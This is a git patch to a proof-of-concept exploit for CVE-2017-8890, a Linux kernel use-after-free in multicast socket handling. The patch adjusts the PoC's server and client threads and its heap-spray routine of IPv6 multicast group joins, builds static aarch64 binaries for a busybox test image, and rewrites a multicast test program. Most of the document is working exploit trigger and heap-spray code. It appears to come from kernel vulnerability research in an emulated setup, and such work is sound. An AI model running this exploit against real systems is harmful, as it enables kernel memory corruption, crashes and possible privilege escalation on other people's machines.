From 72ecf58ee3a7b3f49ecd4c1ebf1820a7e6199c9b Mon Sep 17 00:00:00 2001 From: Werner Sembach <werner.sembach@fau.de> Date: Mon, 15 Oct 2018 14:45:23 +0200 Subject: [PATCH] Make multicast work with kernel 4.4 --- CVE-2017-8890_PoC.c | 57 +++++++++++++++++++++++-------------------- README.md | 1 + compile.sh | 2 +- rcS | 1 + test_ipv6_multicast.c | 31 ----------------------- test_multicast.c | 53 ++++++++++++++++++++++++++++++++++++++++ 6 files changed, 86 insertions(+), 59 deletions(-) delete mode 100644 test_ipv6_multicast.c create mode 100644 test_multicast.c diff --git a/CVE-2017-8890_PoC.c b/CVE-2017-8890_PoC.c index 9e92e3d..fd9d6b3 100644 --- a/CVE-2017-8890_PoC.c +++ b/CVE-2017-8890_PoC.c @@ -15,23 +15,22 @@ #include <errno.h> #include <assert.h> -#define HELLO_WORLD_SERVER_PORT 6666 +#define HELLO_WORLD_SERVER_PORT 6666 #define LENGTH_OF_LISTEN_QUEUE 1 -#define BUFFER_SIZE 1024 -#define FILE_NAME_MAX_SIZE 512 -#define SPRAY_SIZE 500 +#define SPRAY_SIZE 250 int server_init = 0; int server_finish = 0; int client_finish = 0; - void heap_spray(int times) { - printf("heap_spray start\n"); + printf("[Spray] heap_spray start\n"); + int sockfd[times]; for (int i = 0; i < times; ++i) { - if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) { - perror("Socket"); + sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0); + if (sockfd[i] < 0) { + perror("[Spray] Socket creation failed"); exit(errno); } } @@ -40,10 +39,11 @@ void heap_spray(int times) { struct sockaddr_in6 *sockaddr_in6_spray_object = (struct sockaddr_in6 *) &group_req_spray_object.gr_group; sockaddr_in6_spray_object->sin6_family = AF_INET6; sockaddr_in6_spray_object->sin6_port = 1234; - inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(sockaddr_in6_spray_object->sin6_addr)); - for (int i = 0; i < SPRAY_SIZE; ++i) { + inet_pton(AF_INET6, "ff02:abcd:0000:0000:0000:0000:0000:1", &(sockaddr_in6_spray_object->sin6_addr)); + for (int i = 0; i < times; ++i) { if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_req_spray_object, sizeof(group_req_spray_object))) { - perror("spray"); + printf("%d ", i); + perror("[Spray] setsockopt failed"); exit(errno); } } @@ -51,13 +51,14 @@ void heap_spray(int times) { for (int i = 0; i < times; ++i) { close(sockfd[i]); } - printf("heap_spray end\n"); + + printf("[Spray] heap_spray end\n"); return; } void *spray() { while (!client_finish) { - heap_spray(250); + heap_spray(SPRAY_SIZE); } return NULL; } @@ -78,23 +79,23 @@ void *server(void *arg) { int server_socket = socket(PF_INET, SOCK_STREAM, 0); if (server_socket < 0) { - printf("[Server]Create Socket Failed!"); + printf("[Server] Create Socket Failed!"); exit(EXIT_FAILURE); } if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) { - perror("[Server]Server Socket Join Group Failed!"); + perror("[Server] Server Socket Join Group Failed!"); exit(EXIT_FAILURE); } if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) { - printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); + printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); exit(EXIT_FAILURE); } if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) { - printf("[Server]Server Listen Failed!"); + printf("[Server] Server Listen Failed!"); exit(EXIT_FAILURE); } @@ -102,18 +103,20 @@ void *server(void *arg) { socklen_t length = sizeof(client_addr); server_init = 1; - printf("[Server]accept..... \n"); + printf("[Server] accept..... \n"); int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length); if (new_server_socket < 0) { close(server_socket); - printf("[Server]Server Accept Failed!\n"); + printf("[Server] Server Accept Failed!\n"); return NULL; } - printf("[Server]Close new_server_socket\n"); + printf("[Server] Close new_server_socket\n"); close(new_server_socket); - printf("[Server]Close server_socket\n"); + heap_spray(SPRAY_SIZE); + + printf("[Server] Close server_socket\n"); close(server_socket); server_finish = 1; @@ -128,24 +131,24 @@ void *client(void *arg) { client_addr.sin_port = htons(0); int client_socket = socket(AF_INET, SOCK_STREAM, 0); if (client_socket < 0) { - printf("[Client]Create socket failed!\n"); + printf("[Client] Create socket failed!\n"); exit(EXIT_FAILURE); } if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) { - printf("[Client]Client bind port failed!\n"); + printf("[Client] Client bind port failed!\n"); exit(EXIT_FAILURE); } struct sockaddr_in server_addr; bzero(&server_addr, sizeof(server_addr)); server_addr.sin_family = AF_INET; if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) { - printf("[Client]Server IP Address error\n"); + printf("[Client] Server IP Address error\n"); exit(EXIT_FAILURE); } server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT); socklen_t server_addr_length = sizeof(server_addr); if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) { - printf("[Client]cannot connect to 127.0.0.1!\n"); + printf("[Client] cannot connect to 127.0.0.1!\n"); exit(EXIT_FAILURE); } @@ -153,7 +156,7 @@ void *client(void *arg) { sleep(1); } - printf("[Client]Close client_socket\n"); + printf("[Client] Close client_socket\n"); close(client_socket); client_finish = 1; @@ -163,7 +166,7 @@ void *client(void *arg) { int main(int argc, char *argv[]) { pthread_t id_server, id_client, id_spray; - pthread_create(&id_spray, NULL, spray, NULL); + //pthread_create(&id_spray, NULL, spray, NULL); pthread_create(&id_server, NULL, server, NULL); while (!server_init) { diff --git a/README.md b/README.md index bc9765c..ebdb8d2 100644 --- a/README.md +++ b/README.md @@ -32,6 +32,7 @@ info args print *(struct inet_sock *)sk print *((struct inet_sock *)sk)->mc_list print sizeof(*((struct inet_sock *)sk)->mc_list) +print *(struct ipv6_mc_socklist *)((struct inet_sock *)sk)->mc_list ``` ### etc/init.d/rcS diff --git a/compile.sh b/compile.sh index 55acaab..6703fe9 100755 --- a/compile.sh +++ b/compile.sh @@ -5,5 +5,5 @@ SCRIPTDIR=$(dirname "$0") cd $SCRIPTDIR/busybox-1.29.3/_install/ cp ../../rcS etc/init.d/rcS aarch64-linux-gnu-gcc ../../CVE-2017-8890_PoC.c -o CVE-2017-8890_PoC -static -pthread -O0 -aarch64-linux-gnu-gcc ../../test_ipv6_multicast.c -o test_ipv6_multicast -static -pthread -O0 +aarch64-linux-gnu-gcc ../../test_multicast.c -o test_multicast -static -pthread -O0 find . | cpio -o --format=newc > ../rootfs.img diff --git a/rcS b/rcS index 4c377af..cc19c09 100755 --- a/rcS +++ b/rcS @@ -7,3 +7,4 @@ mount -t sysfs none /sys ip link set lo up ip link set eth0 up ip link set sit0 up +route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 diff --git a/test_ipv6_multicast.c b/test_ipv6_multicast.c deleted file mode 100644 index 4329273..0000000 --- a/test_ipv6_multicast.c +++ /dev/null @@ -1,31 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> -#include <unistd.h> -#include <errno.h> -#include <sys/socket.h> -#include <arpa/inet.h> - -int main() { - int sockfd = socket(PF_INET6, SOCK_STREAM, 0); - if (sockfd < 0) { - perror("socket"); - exit(errno); - } - - struct group_req group_req_spray_object = {0}; - struct sockaddr_in6 *sockaddr_in6_spray_object = (struct sockaddr_in6 *) &group_req_spray_object.gr_group; - sockaddr_in6_spray_object->sin6_family = AF_INET6; - sockaddr_in6_spray_object->sin6_port = 1234; - inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(sockaddr_in6_spray_object->sin6_addr)); - if(setsockopt(sockfd, IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_req_spray_object, sizeof(group_req_spray_object))) { - perror("setsockopt"); - close(sockfd); - exit(errno); - } - - close(sockfd); - - printf("Success!\n"); - - return 0; -} diff --git a/test_multicast.c b/test_multicast.c new file mode 100644 index 0000000..9728f27 --- /dev/null +++ b/test_multicast.c @@ -0,0 +1,53 @@ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <errno.h> +#include <sys/socket.h> +#include <arpa/inet.h> + +int main() { + int sockfd_ipv4 = socket(PF_INET, SOCK_STREAM, 0); + if (sockfd_ipv4 < 0) { + perror("Could not create ipv4 socket"); + exit(errno); + } + + struct group_req group_ipv4 = {0}; + struct sockaddr_in *psin_ipv4 = (struct sockaddr_in *) &group_ipv4.gr_group; + psin_ipv4->sin_family = AF_INET; + psin_ipv4->sin_port = 1234; + psin_ipv4->sin_addr.s_addr = htonl(inet_addr("10.10.2.224")); + + if(setsockopt(sockfd_ipv4, IPPROTO_IP, MCAST_JOIN_GROUP, &group_ipv4, sizeof(group_ipv4))) { + perror("Could not join ipv4 multicast group"); + close(sockfd_ipv4); + exit(EXIT_FAILURE); + } + + close(sockfd_ipv4); + printf("Ipv4 test successfull!\n"); + + + int sockfd_ipv6 = socket(PF_INET6, SOCK_STREAM, 0); + if (sockfd_ipv6 < 0) { + perror("Could not create ipv6 socket"); + exit(errno); + } + + struct group_req group_ipv6 = {0}; + struct sockaddr_in6 *psin_ipv6 = (struct sockaddr_in6 *) &group_ipv6.gr_group; + psin_ipv6->sin6_family = AF_INET6; + psin_ipv6->sin6_port = 1234; + inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin_ipv6->sin6_addr)); + + if(setsockopt(sockfd_ipv6, IPPROTO_IPV6, MCAST_JOIN_GROUP, &group_ipv6, sizeof(group_ipv6))) { + perror("Could not join ipv6 multicast group"); + close(sockfd_ipv6); + exit(errno); + } + + close(sockfd_ipv6); + printf("Ipv6 test successfull!\n"); + + return EXIT_SUCCESS; +} -- GitLab